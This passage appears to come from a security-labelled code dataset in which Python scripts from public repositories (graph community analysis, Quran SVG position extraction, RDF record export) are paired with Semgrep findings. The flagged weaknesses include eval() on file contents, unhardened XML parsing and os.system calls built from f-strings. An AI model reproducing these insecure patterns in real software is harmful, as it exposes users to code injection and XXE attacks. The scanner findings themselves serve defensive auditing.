"severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 84 ]
[ 84 ]
[ 9 ]
[ 57 ]
[ "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
forms.py
/django_project/custom_user/forms.py
gokulmenon/shiny-ironman
MIT
2024-11-18T21:22:42.560606+00:00
1,501,397,157,000
ca44ac649b7867b798d8b8d0e51e21c01ed8f946
3
{ "blob_id": "ca44ac649b7867b798d8b8d0e51e21c01ed8f946", "branch_name": "refs/heads/master", "committer_date": 1501397157000, "content_id": "329e996bbb9d753a873b646983b0b7b03d9d6bb1", "detected_licenses": [ "MIT" ], "directory_id": "09907859f4c169988bfbabf57127fc23f82f1782", "extension": "py", "filename": "analyze_algo_quality.py", "fork_events_count": 1, "gha_created_at": 1491226806000, "gha_event_created_at": 1501241506000, "gha_language": "JavaScript", "gha_license_id": null, "github_id": 87078373, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1767, "license": "MIT", "license_type": "permissive", "path": "/community_detection_algos/scripts/play_ground/analyze_algo_quality.py", "provenance": "stack-edu-0054.json.gz:588148", "repo_name": "nikitabatra/FYP", "revision_date": 1501397157000, "revision_id": "4b7c76f6f8f94d09ae4ab98262b894dfd6af3bc0", "snapshot_id": "3ced558ab18123798dc401a6e2a0336eb999dc37", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/nikitabatra/FYP/4b7c76f6f8f94d09ae4ab98262b894dfd6af3bc0/community_detection_algos/scripts/play_ground/analyze_algo_quality.py", "visit_date": "2021-01-18T22:53:03.150568" }
2.71875
stackv2
import networkx as nx import re from metrics.link_belong_modularity import * def get_graph_info(file_path): def extract_first_two(collection): return [int(collection[0]), int(collection[1])] with open(file_path) as ifs: lines = map(lambda ele: ele.strip(), ifs.readlines()) lines = filter(lambda ele: not ele.startswith('#') and re.match('.*[0-9]+.*[0-9]+', ele), lines) pair_list = map(lambda ele: extract_first_two(map(lambda ele2: ele2.strip(), ele.split())), lines) return nx.Graph(pair_list) def get_community_result(file_path): def get_val(name, search_lines, delimiter=':'): return filter(lambda ele: ele.startswith(name), search_lines)[0].split(delimiter)[1] with open(file_path) as ifs: lines = ifs.readlines() comm_size = int(get_val('comm size', lines)) name_res_str = get_val('name result', lines) whole_time_str = get_val('whole execution time', lines) comm_list = eval(name_res_str) for comm in comm_list: comm.sort() comm_list.sort(key=lambda comm: -len(comm)) return comm_size, comm_list, whole_time_str def print_comm(comm_list): for comm in comm_list: print comm if __name__ == '__main__': graph = get_graph_info('../datasets/social_network/facebook_combined.txt') print 'num nodes:', graph.number_of_nodes(), 'num edges:', graph.number_of_edges() comm_num, comm_list, run_time = get_community_result('../src/cmake-build-debug/algorithm_demo/demon_fb.out') avg_comm_size = sum(map(lambda ele: len(ele), comm_list)) / comm_num print 'comm num:', comm_num, 'avg comm size:', avg_comm_size, 'whole execution time:', run_time print cal_modularity(graph, comm_list)
46
37.41
112
18
414
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_554ab1e12bc3d9d9_0425227a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 10, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/554ab1e12bc3d9d9.py", "start": {"line": 10, "col": 10, "offset": 215}, "end": {"line": 10, "col": 25, "offset": 230}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_554ab1e12bc3d9d9_82b73ebf", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 10, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/554ab1e12bc3d9d9.py", "start": {"line": 22, "col": 10, "offset": 743}, "end": {"line": 22, "col": 25, "offset": 758}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_554ab1e12bc3d9d9_a2c91ec1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 21, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/554ab1e12bc3d9d9.py", "start": {"line": 27, "col": 21, "offset": 989}, "end": {"line": 27, "col": 39, "offset": 1007}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_554ab1e12bc3d9d9_d36ad464", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 41, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmp10dxl77l/554ab1e12bc3d9d9.py", "start": {"line": 44, "col": 41, "offset": 1591}, "end": {"line": 44, "col": 49, "offset": 1599}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 27 ]
[ 27 ]
[ 21 ]
[ 39 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
analyze_algo_quality.py
/community_detection_algos/scripts/play_ground/analyze_algo_quality.py
nikitabatra/FYP
MIT
2024-11-18T21:22:44.463811+00:00
1,613,278,139,000
132e5f6dd33cf4f65c333ad6a25c4017989d1efc
3
{ "blob_id": "132e5f6dd33cf4f65c333ad6a25c4017989d1efc", "branch_name": "refs/heads/main", "committer_date": 1613278139000, "content_id": "7e00e6dcdaba49050136032f9f31e963291aadae", "detected_licenses": [ "MIT" ], "directory_id": "ff4d620ae11088669ccc3fd5944b681eaad6210b", "extension": "py", "filename": "positions.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2761, "license": "MIT", "license_type": "permissive", "path": "/positions.py", "provenance": "stack-edu-0054.json.gz:588168", "repo_name": "toseefkhilji/quran-svg", "revision_date": 1613278139000, "revision_id": "78d97544bfdc57e9f04bc97ace3f857ed972d772", "snapshot_id": "87b07a3123cd7957cdb057f99dd94c39dad19823", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/toseefkhilji/quran-svg/78d97544bfdc57e9f04bc97ace3f857ed972d772/positions.py", "visit_date": "2023-03-05T20:46:14.791986" }
2.75
stackv2
import json from math import ceil from os import path, walk from xml.dom import minidom, NotFoundErr, Node def node_sort_key(node, page_height, lines, offset): x = float(node.getAttribute("ayah:x")) y = float(node.getAttribute("ayah:y")) line_ratio = (page_height - (offset * 2)) / lines line_number = ceil((y - offset) / line_ratio) return [line_number, -x] def generate_positions(): files = list() output_dir = path.join(path.dirname(path.realpath(__file__)), "output") for (_, _, filenames) in walk(output_dir): files.extend([x for x in filenames if x.endswith("svg")]) with open("surah.json") as fp: surahs = json.load(fp) surah_index = 0 ayah_number = 0 ayah_index = 0 marker_data = [] for filename in sorted(files): filepath = path.join(output_dir, filename) doc = minidom.parse(filepath) page_number = int(path.splitext(filename)[0]) # make getElementById work all_nodes = doc.getElementsByTagName("*") for node in all_nodes: try: node.setIdAttribute("id") except NotFoundErr: pass items = [] page_height = float(doc.getElementsByTagName("svg")[0].getAttribute("viewBox").split()[3]) lines = 15 if page_number > 2 else 7 offset = 6 if page_number > 2 else 20 # find ayah markers nodes = doc.getElementById("ayah_markers").childNodes nodes = [x for x in nodes if x.nodeType == Node.ELEMENT_NODE] nodes = sorted(nodes, key=lambda sort_node: node_sort_key(sort_node, page_height, lines, offset)) for node in nodes: ayah_number += 1 ayah_index += 1 x = node.getAttribute("ayah:x") y = node.getAttribute("ayah:y") items.append( { "surahNumber": surahs[surah_index]["number"], "ayahNumber": ayah_number, "x": float(x), "y": float(y), } ) marker_data.append( { "page": page_number, "ayah": ayah_index, "x": float(x), "y": float(y), } ) if ayah_number == surahs[surah_index]["ayahCount"]: ayah_number = 0 surah_index += 1 with open(path.join(output_dir, f"{page_number:03}.json"), "w") as fp: json.dump(items, fp, indent=4, sort_keys=True) with open(path.join(output_dir, "markers.json"), "w") as fp: json.dump(marker_data, fp, indent=4) if __name__ == "__main__": generate_positions()
90
29.68
105
19
640
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_785a6261c8377ec3_0b25693b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 4, "line_end": 4, "column_start": 1, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/785a6261c8377ec3.py", "start": {"line": 4, "col": 1, "offset": 60}, "end": {"line": 4, "col": 47, "offset": 106}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_785a6261c8377ec3_619c1aaf", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 10, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/785a6261c8377ec3.py", "start": {"line": 23, "col": 10, "offset": 629}, "end": {"line": 23, "col": 28, "offset": 647}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_785a6261c8377ec3_003cbcdb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 14, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/785a6261c8377ec3.py", "start": {"line": 82, "col": 14, "offset": 2463}, "end": {"line": 82, "col": 72, "offset": 2521}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_785a6261c8377ec3_942825ee", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 85, "line_end": 85, "column_start": 14, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/785a6261c8377ec3.py", "start": {"line": 85, "col": 14, "offset": 2602}, "end": {"line": 85, "col": 62, "offset": 2650}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 4 ]
[ 4 ]
[ 1 ]
[ 47 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
positions.py
/positions.py
toseefkhilji/quran-svg
MIT
2024-11-18T21:22:46.324714+00:00
1,595,901,532,000
8776d83172237d978492f9726730a0eaa41b60bb
3
{ "blob_id": "8776d83172237d978492f9726730a0eaa41b60bb", "branch_name": "refs/heads/master", "committer_date": 1595901532000, "content_id": "fe42e2ff5dd57858ef7ca2de353e77097d14ada7", "detected_licenses": [ "CC0-1.0" ], "directory_id": "0023e6c2fd7a7228d8f0aabce976dad245f84104", "extension": "py", "filename": "dataForRML.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 181368384, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4548, "license": "CC0-1.0", "license_type": "permissive", "path": "/scripts/dataForRML.py", "provenance": "stack-edu-0054.json.gz:588187", "repo_name": "uwlib-cams/UWLibCatProfiles", "revision_date": 1595901532000, "revision_id": "2473d772b115c565f063bede21565faab09be972", "snapshot_id": "458bc572324679d000f3efbd761fa8f33abc3cb1", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/uwlib-cams/UWLibCatProfiles/2473d772b115c565f063bede21565faab09be972/scripts/dataForRML.py", "visit_date": "2022-11-23T01:42:34.335775" }
2.609375
stackv2
from datetime import date import os import rdflib from rdflib import * # pull RDFXML files from trellis, put them into local folder if not os.path.exists('export_xml'):# creates xml directory print('Generating directories') os.makedirs('export_xml') # initialize a graph, load in UW trellis repo, and extract record URIs print("...\nRetrieving graph URIs", flush=True) graph = Graph() LDP = Namespace('http://www.w3.org/ns/ldp#') rdac = Namespace('http://rdaregistry.info/Elements/c/') rdf = Namespace('http://www.w3.org/1999/02/22-rdf-syntax-ns#') graph.bind('LDP', LDP) graph.bind('rdac', rdac) graph.bind('rdf', rdf) graph.load('https://trellis.sinopia.io/repository/washington', format='turtle') URIS = [] # list for record uris for o in graph.objects(subject=None,predicate=LDP.contains):#records are described in the parent repo using ldp.contains URIS.append(o) # lists for RDA entities workList = [] expressionList = [] manifestationList = [] itemList = [] print(f"...\nLocating works") for uri in URIS: fileGraph = Graph() fileGraph.load(uri,format='turtle') for work in fileGraph.subjects(RDF.type, rdac.C10001): # looks for records typed as an RDA work workList.append(work) # adds to work list print(f"...\nLocating expressions") for uri in URIS: fileGraph = Graph() fileGraph.load(uri,format='turtle') for expression in fileGraph.subjects(RDF.type, rdac.C10006): # looks for records typed as an RDA expression expressionList.append(expression) # adds to expression list print(f"...\nLocating manifestations") for uri in URIS: fileGraph = Graph() fileGraph.load(uri,format='turtle') for manifestation in fileGraph.subjects(RDF.type, rdac.C10007): # looks for records typed as an RDA manifestation manifestationList.append(manifestation) # adds to manifestation list print(f"...\nLocating items") for uri in URIS: fileGraph = Graph() fileGraph.load(uri,format='turtle') for item in fileGraph.subjects(RDF.type, rdac.C10003): # looks for records typed as an RDA item itemList.append(item) # adds to item list today = date.today() currentDate = f"{today.year}_{today.month}_{today.day}" if len(workList) == 0: print("No works found.") elif len(workList) >= 1: if not os.path.exists(f'{currentDate}'): os.system(f'mkdir {currentDate}') if not os.path.exists(f'{currentDate}/work'): print("...\nCreating work directory") os.system(f'mkdir {currentDate}/work') for work in workList: workGraph = Graph() workGraph.load(work, format='turtle') # load records from work list into a new graph label = work.split('/')[-1] # selects just the identifier workGraph.serialize(destination=f'{currentDate}/work/' + label + '.xml', format="xml") # serializes in xml if len(expressionList) == 0: print("No expressions found.") elif len(expressionList) >= 1: if not os.path.exists(f'{currentDate}/expression'): print("...\nCreating expression directory") os.system(f'mkdir {currentDate}/expression') for expression in expressionList: expressionGraph = Graph() expressionGraph.load(expression, format='turtle') label = expression.split('/')[-1] expressionGraph.serialize(destination=f'{currentDate}/expression/' + label + '.xml', format="xml") if len(manifestationList) == 0: print("No manifestations found.") elif len(manifestationList) >= 1: if not os.path.exists(f'{currentDate}/manifestation'): print("...\nCreating manifestation directory") os.system(f'mkdir {currentDate}/manifestation') for manifestation in manifestationList: manifestationGraph = Graph() manifestationGraph.load(manifestation, format='turtle') label = manifestation.split('/')[-1] manifestationGraph.serialize(destination=f'{currentDate}/manifestation/' + label + '.xml', format="xml") if len(itemList) == 0: print("No items found.") elif len(itemList) >= 1: if not os.path.exists(f'{currentDate}/item'): print("...\nCreating item directory") os.system(f'mkdir {currentDate}/item') for item in itemList: itemGraph = Graph() itemGraph.load(item, format='turtle') label = item.split('/')[-1] itemGraph.serialize(destination=f'{currentDate}/item/' + label + '.xml', format="xml") print("Finished.")
121
35.59
120
15
1,095
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_23ce43a1644cff3d_f0beb9a1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 67, "column_start": 9, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/23ce43a1644cff3d.py", "start": {"line": 67, "col": 9, "offset": 2328}, "end": {"line": 67, "col": 42, "offset": 2361}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_23ce43a1644cff3d_88f34f41", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 71, "line_end": 71, "column_start": 9, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/23ce43a1644cff3d.py", "start": {"line": 71, "col": 9, "offset": 2467}, "end": {"line": 71, "col": 47, "offset": 2505}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_23ce43a1644cff3d_07dacab4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 85, "line_end": 85, "column_start": 9, "column_end": 53, "code_snippet": "requires login"}, 